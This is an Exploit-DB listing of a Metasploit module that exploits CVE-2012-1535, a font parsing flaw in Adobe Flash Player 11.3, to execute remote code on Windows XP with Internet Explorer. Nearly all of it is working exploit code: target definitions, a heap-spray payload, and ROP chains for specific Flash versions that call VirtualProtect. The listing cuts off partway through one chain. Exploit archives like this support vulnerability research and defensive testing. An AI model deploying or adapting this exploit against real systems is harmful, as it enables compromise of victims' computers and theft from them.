Exploit-DB #20624
Description: Adobe Flash Player 11.3 - Font Parsing Code Execution (Metasploit)
Type: remote
Platform: windows
Date: 2012-08-20
Author: Metasploit

Exploit:
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = AverageRanking

	include Msf::Exploit::Remote::HttpServer::HTML

	def initialize(info={})
		super(update_info(info,
			'Name'           => "Adobe Flash Player 11.3 Font Parsing Code Execution",
			'Description'    => %q{
					This module exploits a vulnerability found in the ActiveX component of Adobe
				Flash Player before 11.3.300.271. By supplying a corrupt Font file used by the SWF,
				it is possible to gain arbitrary remote code execution under the context of the
				user, as exploited in the wild.
			},
			'License'        => MSF_LICENSE,
			'Author'         =>
				[
					'Alexander Gavrun', #Through iDefense
					'sinn3r',
					'juan vazquez'
				],
			'References'     =>
				[
					[ 'CVE', '2012-1535' ],
					[ 'OSVDB', '84607'],
					[ 'BID', '55009'],
					[ 'URL', 'http://labs.alienvault.com/labs/index.php/2012/cve-2012-1535-adobe-flash-being-exploited-in-the-wild/' ],
					[ 'URL', 'http://vrt-blog.snort.org/2012/08/cve-2012-1535-flash-0-day-in-wild.html' ],
					[ 'URL', 'http://contagiodump.blogspot.com.es/2012/08/cve-2012-1535-samples-and-info.html' ]
				],
			'Payload'        =>
				{
					'Space'    => 1024
				},
			'DefaultOptions'  =>
				{
					'InitialAutoRunScript' => 'migrate -f'
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					# Tested successfully on:
					# Flash 11.3.300.268
					# Flash 11.3.300.265
					# Flash 11.3.300.257
					[ 'Automatic', {} ],
					[
						'IE 6 on Windows XP SP3',
						{
							'Rop'    => nil
						}
					],
					[
						'IE 7 on Windows XP SP3',
						{
							'Rop'    => nil
						}
					],
					[
						'IE 8 on Windows XP SP3',
						{
							'Rop' => true
						}
					]
				],
			'Privileged'     => false,
			'DisclosureDate' => "Aug 9 2012",
			'DefaultTarget'  => 0))

		register_options(
			[
				OptEnum.new('ROP', [true, "The ROP chain to use", 'SWF', %w(SWF JRE)]),
			], self.class)
	end

	def nop
		return make_nops(4).unpack("L")[0].to_i
	end

	def get_payload(t, flash_version=nil)
		if t['Rop'].nil?
			p = [
				0x0c0c0c0c, # mapped at 1e0d0000
				0x0c0c0c0c,
				0x0c0c0c0c, # mapped at 1e0d0008
			].pack("V*")

			p << payload.encoded
		else
			if datastore['ROP'] == 'SWF' and flash_version =~ /11,3,300,257/

				print_status("Using Rop Chain For Flash: #{flash_version}")
				stack_pivot = [
					0x10004171, # POP EDI # POP ESI # RETN (1e0d0000)
					0x0c0c0c0c,
					0x1001d891, # xchg eax, esp # ret (1e0d0008)
				].pack("V*")

				rop = [
					0x10241001, # POP EAX # RETN (Flash32_11_3_300_257.ocx)
					0x106e3384, # <- *&VirtualProtect()
					0x1029de2f, # MOV EAX,DWORD PTR DS:[EAX] # RETN (Flash32_11_3_300_257.ocx)
					0x106add37, # XCHG EAX,ESI # RETN (Flash32_11_3_300_257.ocx)
					0x1064e000, # POP EBP # RETN (Flash32_11_3_300_257.ocx)
					0x10175c57, # ptr to 'jmp esp' (from Flash32_11_3_300_257.ocx)
					0x106a4010, # POP EBX # RETN (Flash32_11_3_300_257.ocx)
					0x00000201, # <- change size to mark as executable if needed (-> ebx)
					0x104de800, # POP ECX # RETN (Flash32_11_3_300_257.ocx)
					0x10955000, # W pointer (lpOldProtect) (-> ecx)
					0x10649003, # POP EDI # RETN (Flash32_11_3_300_257.ocx)
					0x10649004, # ROP NOP (-> edi)
					0x10649987, # POP EDX # RETN (Flash32_11_3_300_257.ocx)
					0x00000040, # newProtect (0x40) (-> edx)
					0x10241001, # POP EAX # RETN (Flash32_11_3_300_257.ocx)
					nop,        # NOPS (-> eax)
					0x1060e809, # PUSHAD # RETN (Flash32_11_3_300_257.ocx)
				].pack("V*")

			elsif datastore['ROP'] == 'SWF' and flash_version =~ /11,3,300,265/

				print_status("Using Rop Chain For Flash: #{flash_version}")
				stack_pivot = [
					0x10004171, # POP EDI # POP ESI # RETN (1e0d0000)
					0x0c0c0c0c,
					0x1001d6d3, # xchg eax, esp # ret (1e0d0008)
				].pack("V*")

				rop = [
					0x10241002, # POP EAX # RETN (Flash32_11_3_300_265.ocx)
					0x106e338c, # <- *&VirtualProtect()
					0x1029ea04, # MOV EAX,DWORD PTR DS:[EAX] # RETN (Flash32_11_3_300_265.ocx)
					0x103d60b8, # XCHG EAX,ESI # RETN (Flash32_11_3_300_265.ocx)
					0x105cc000, # POP EBP # RETN (Flash32_11_3_300_265.ocx)
					0x1001c5cd, # ptr to 'jmp esp' (from Flash32_11_3_300_265.ocx)
					0x10398009, # POP EBX # RETN (Flash32_11_3_300_265.ocx)
					0x00000201, # <- change size to mark as executable if needed (-> ebx)
					0x10434188, # POP ECX # RETN (Flash32_11_3_300_265.ocx)
					0x10955000, # W pointer (lpOldProtect) (-> ecx)
					0x105c1811, # POP EDI # RETN (Flash32_11_3_300_265.ocx)
					0x105c1812, # ROP NOP (-> edi)
					0x10650602, # POP EDX # RETN (Flash32_11_3_300_265.ocx)
					0x00000040, # newProtect (0x40) (-> edx)
					0x10241002, # POP EAX # RETN (Flash32_11_3_300_265.ocx)
					nop,        # NOPS (-> eax)
					0x1062800f, # PUSHAD # RETN (Flash32_11_3_300_265.ocx)
				].pack("V*")

			elsif datastore['ROP'] == 'SWF' and flash_version =~ /11,3,300,268/

				print_status("Using Rop Chain For Flash: #{flash_version}")
				stack_pivot = [
					0x10004171, # POP EDI # POP ESI # RETN (1e0d0000)
					0x0c0c0c0c,
					0x1001d755, # xchg eax, esp # ret (1e0d0008)
				].pack("V*")
				rop = [
					0x1023e9b9, # POP EAX # RETN (Flash32_11_3_300_268.ocx)
					0x106e438c, # <- *&VirtualProtect()
					0x10198e00, # MOV EAX,DWORD PTR DS:[EAX] # RETN (Flash32_11_3_300_268.ocx)
					0x106ddf15, # XCHG EAX,ESI # RETN (Flash32_11_3_300_268.ocx)
					0x1035f000, # POP EBP # RETN (Flash32_11_3_300_268.ocx)
					0x10175c28, # ptr to 'jmp esp' (from Flash32_11_3_300_268.ocx)
					0x105e0013, # POP EBX # RETN (Flash32_11_